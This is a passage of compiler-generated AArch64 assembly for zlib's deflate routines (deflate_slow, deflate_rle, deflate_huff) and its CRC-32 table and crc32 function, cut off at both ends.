add x0, x1, x0
str x0, [sp, 88]
b .L2013
.L2012:
str xzr, [sp, 88]
.L2013:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 88]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
.L2011:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2014
str wzr, [sp, 48]
b .L1993
.L2010:
ldr x0, [sp, 24]
mov w1, 1
str w1, [x0, 152]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 164]
b .L2014
.L2028:
nop
ldr x0, [sp, 24]
ldr w0, [x0, 152]
cmp w0, 0
beq .L2015
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
sub w0, w0, #1
uxtw x0, w0
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 39]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 60]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 60]
add x0, x1, x0
ldrb w1, [sp, 39]
strb w1, [x0]
ldrb w0, [sp, 39]
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 39]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 64]
ldr x0, [sp, 24]
str wzr, [x0, 152]
.L2015:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
cmp w0, 1
bhi .L2016
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr x0, [sp, 24]
str w1, [x0, 5916]
b .L2017
.L2016:
ldr x0, [sp, 24]
mov w1, 2
str w1, [x0, 5916]
.L2017:
ldr w0, [sp, 20]
cmp w0, 4
bne .L2018
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2019
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 96]
b .L2020
.L2019:
str xzr, [sp, 96]
.L2020:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 1
mov x2, x0
ldr x1, [sp, 96]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2021
mov w0, 2
str w0, [sp, 48]
b .L1993
.L2021:
mov w0, 3
str w0, [sp, 48]
b .L1993
.L2018:
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
cmp w0, 0
beq .L2022
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2023
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 104]
b .L2024
.L2023:
str xzr, [sp, 104]
.L2024:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 104]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2022
str wzr, [sp, 48]
b .L1993
.L2022:
mov w0, 1
str w0, [sp, 48]
.L1993:
ldr w0, [sp, 48]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE118:
.size deflate_slow, .-deflate_slow
.align 2
.type deflate_rle, %function
deflate_rle:
.LFB119:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
.L2057:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 258
bhi .L2034
ldr x0, [sp, 24]
bl fill_window
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 258
bhi .L2035
ldr w0, [sp, 20]
cmp w0, 0
bne .L2035
str wzr, [sp, 48]
b .L2036
.L2035:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 0
beq .L2067
.L2034:
ldr x0, [sp, 24]
str wzr, [x0, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 2
bls .L2038
ldr x0, [sp, 24]
ldr w0, [x0, 156]
cmp w0, 0
beq .L2038
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x0, w0
sub x0, x0, #1
add x0, x1, x0
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
str w0, [sp, 60]
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2038
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2038
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2038
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x0, w0
add x0, x0, 258
add x0, x1, x0
str x0, [sp, 104]
.L2049:
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2068
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2069
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2070
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2071
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2072
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2073
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2074
ldr x0, [sp, 72]
add x0, x0, 1
str x0, [sp, 72]
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 60]
cmp w0, w1
bne .L2075
ldr x1, [sp, 72]
ldr x0, [sp, 104]
cmp x1, x0
bcs .L2076
b .L2049
.L2068:
nop
b .L2048
.L2069:
nop
b .L2048
.L2070:
nop
b .L2048
.L2071:
nop
b .L2048
.L2072:
nop
b .L2048
.L2073:
nop
b .L2048
.L2074:
nop
b .L2048
.L2075:
nop
b .L2048
.L2076:
nop
.L2048:
ldr x1, [sp, 104]
ldr x0, [sp, 72]
sub x0, x1, x0
mov w1, w0
mov w0, 258
sub w1, w0, w1
ldr x0, [sp, 24]
str w1, [x0, 144]
ldr x0, [sp, 24]
ldr w1, [x0, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w1, w0
bls .L2038
ldr x0, [sp, 24]
ldr w1, [x0, 164]
ldr x0, [sp, 24]
str w1, [x0, 144]
.L2038:
ldr x0, [sp, 24]
ldr w0, [x0, 144]
cmp w0, 2
bls .L2050
ldr x0, [sp, 24]
ldr w0, [x0, 144]
and w0, w0, 255
sub w0, w0, #3
strb w0, [sp, 45]
mov w0, 1
strh w0, [sp, 46]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w1, [sp, 46]
strh w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 68]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 68]
add x0, x1, x0
ldrb w1, [sp, 45]
strb w1, [x0]
ldrh w0, [sp, 46]
sub w0, w0, #1
strh w0, [sp, 46]
ldrb w2, [sp, 45]
adrp x0, _length_code
add x1, x0, :lo12:_length_code
sxtw x0, w2
ldrb w0, [x1, x0]
add w0, w0, 257
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 45]
adrp x1, _length_code
add x2, x1, :lo12:_length_code
sxtw x1, w3
ldrb w1, [x2, x1]
add w3, w1, 257
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldrh w0, [sp, 46]
cmp w0, 255
bhi .L2051
ldrh w2, [sp, 46]
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
sxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 56]
b .L2052
.L2051:
ldrh w0, [sp, 46]
lsr w0, w0, 7
and w0, w0, 65535
add w2, w0, 256
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
sxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 56]
.L2052:
ldr x1, [sp, 24]
ldrsw x0, [sp, 56]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 8]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
ldrsw x0, [sp, 56]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 8]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w1, [x0, 164]
ldr x0, [sp, 24]
ldr w0, [x0, 144]
sub w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 144]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
str wzr, [x0, 144]
b .L2053
.L2050:
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x0, w0
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 44]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 64]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 64]
add x0, x1, x0
ldrb w1, [sp, 44]
strb w1, [x0]
ldrb w0, [sp, 44]
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 44]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
.L2053:
ldr w0, [sp, 52]
cmp w0, 0
beq .L2057
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2055
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 80]
b .L2056
.L2055:
str xzr, [sp, 80]
.L2056:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 80]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2057
str wzr, [sp, 48]
b .L2036
.L2067:
nop
ldr x0, [sp, 24]
str wzr, [x0, 5916]
ldr w0, [sp, 20]
cmp w0, 4
bne .L2058
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2059
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 88]
b .L2060
.L2059:
str xzr, [sp, 88]
.L2060:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 1
mov x2, x0
ldr x1, [sp, 88]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2061
mov w0, 2
str w0, [sp, 48]
b .L2036
.L2061:
mov w0, 3
str w0, [sp, 48]
b .L2036
.L2058:
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
cmp w0, 0
beq .L2062
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2063
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 96]
b .L2064
.L2063:
str xzr, [sp, 96]
.L2064:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 96]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2062
str wzr, [sp, 48]
b .L2036
.L2062:
mov w0, 1
str w0, [sp, 48]
.L2036:
ldr w0, [sp, 48]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE119:
.size deflate_rle, .-deflate_rle
.align 2
.type deflate_huff, %function
deflate_huff:
.LFB120:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
.L2085:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 0
bne .L2078
ldr x0, [sp, 24]
bl fill_window
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 0
bne .L2078
ldr w0, [sp, 20]
cmp w0, 0
bne .L2094
str wzr, [sp, 44]
b .L2080
.L2078:
ldr x0, [sp, 24]
str wzr, [x0, 144]
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x0, w0
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 43]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 48]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 48]
add x0, x1, x0
ldrb w1, [sp, 43]
strb w1, [x0]
ldrb w0, [sp, 43]
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 43]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr w0, [sp, 52]
cmp w0, 0
beq .L2085
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2083
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 56]
b .L2084
.L2083:
str xzr, [sp, 56]
.L2084:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 56]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2085
str wzr, [sp, 44]
b .L2080
.L2094:
nop
ldr x0, [sp, 24]
str wzr, [x0, 5916]
ldr w0, [sp, 20]
cmp w0, 4
bne .L2086
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2087
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 64]
b .L2088
.L2087:
str xzr, [sp, 64]
.L2088:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 1
mov x2, x0
ldr x1, [sp, 64]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2089
mov w0, 2
str w0, [sp, 44]
b .L2080
.L2089:
mov w0, 3
str w0, [sp, 44]
b .L2080
.L2086:
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
cmp w0, 0
beq .L2090
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2091
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 72]
b .L2092
.L2091:
str xzr, [sp, 72]
.L2092:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 72]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2090
str wzr, [sp, 44]
b .L2080
.L2090:
mov w0, 1
str w0, [sp, 44]
.L2080:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE120:
.size deflate_huff, .-deflate_huff
.section .rodata
.align 3
.type crc_table, %object
.size crc_table, 8192
crc_table:
.word 0
.word 1996959894
.word -301047508
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.word 1098405273
.word -1344806773
.word -894411725
.word 1001806317
.word 1590814037
.word -1333899193
.word -719721217
.word 1814117218
.word 155617242
.word -404147512
.word -2104586640
.word -727782104
.word -1309060720
.word 1599530114
.word 976312378
.word -2096525401
.word -428985569
.word 146900493
.word 1839610549
.word -1528741699
.word -1048118267
.word 791234839
.word 1246688687
.word -210361806
.word -1777230198
.word 2025728920
.word 500799264
.word 1271526520
.word 783173824
.word -1073611310
.word -1520025238
.word 475961079
.word 2033789519
.word -1751736483
.word -219077659
.word 85551949
.word 1618925557
.word -1898880281
.word -340337057
.word 1385040322
.word 938063226
.word -649723800
.word -1138639664
.word -365830264
.word -1890163920
.word 1643763234
.word 77490842
.word -1113146105
.word -658439745
.word 913224877
.word 1393100821
.word -1706135011
.word -14037339
.word 294026167
.word 1960953615
.word -841412462
.word -1463899094
.word 1175525688
.word 594978176
.word 1969669848
.word 268532320
.word -22098062
.word -1681296438
.word 586261591
.word 1201019119
.word -1455837699
.word -866250427
.word 116280694
.word 1669984718
.word -1926871844
.word -398329756
.word 1366896633
.word 874419009
.word -625924525
.word -1076454677
.word -372835917
.word -1935588085
.word 1645146137
.word 124341409
.word -1101948100
.word -617207932
.word 899256982
.word 1358835246
.word -1715907546
.word -52500322
.word 309419404
.word 1997988148
.word -835832151
.word -1421243887
.word 1172717315
.word 545358779
.word 1989271779
.word 334912603
.word -44439223
.word -1740745231
.word 554074732
.word 1147223764
.word -1429304378
.word -810993794
.word 943816662
.word 1562821486
.word -1282836868
.word -688993596
.word 1876303193
.word 179413473
.word -467790605
.word -2122733493
.word -680932589
.word -1307674709
.word 1554105017
.word 969309697
.word -2130794084
.word -442952412
.word 188129334
.word 1850809486
.word -1491704186
.word -1032725954
.word 752774956
.word 1236915092
.word -259980279
.word -1780041551
.word 2068385187
.word 506376475
.word 1212076611
.word 760835835
.word -1007232023
.word -1500420271
.word 531214540
.word 2060323956
.word -1805534874
.word -251263522
.text
.align 2
.global get_crc_table
.type get_crc_table, %function
get_crc_table:
.LFB121:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x0, crc_table
add x0, x0, :lo12:crc_table
str x0, [sp, 8]
ldr x0, [sp, 8]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE121:
.size get_crc_table, .-get_crc_table
.align 2
.global crc32
.type crc32, %function
crc32:
.LFB122:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
ldr x0, [sp, 32]
cmp x0, 0
bne .L2098
str xzr, [sp, 56]
b .L2099
.L2098:
ldr x0, [sp, 40]
eor x0, x0, 4294967295
str x0, [sp, 40]
b .L2100
.L2101:
ldr x0, [sp, 32]
str x0, [sp, 72]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 72]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 32]
str x0, [sp, 80]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 80]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 32]
str x0, [sp, 88]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 88]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 32]
str x0, [sp, 96]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 96]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 32]
str x0, [sp, 104]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 104]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 32]
str x0, [sp, 112]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 112]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
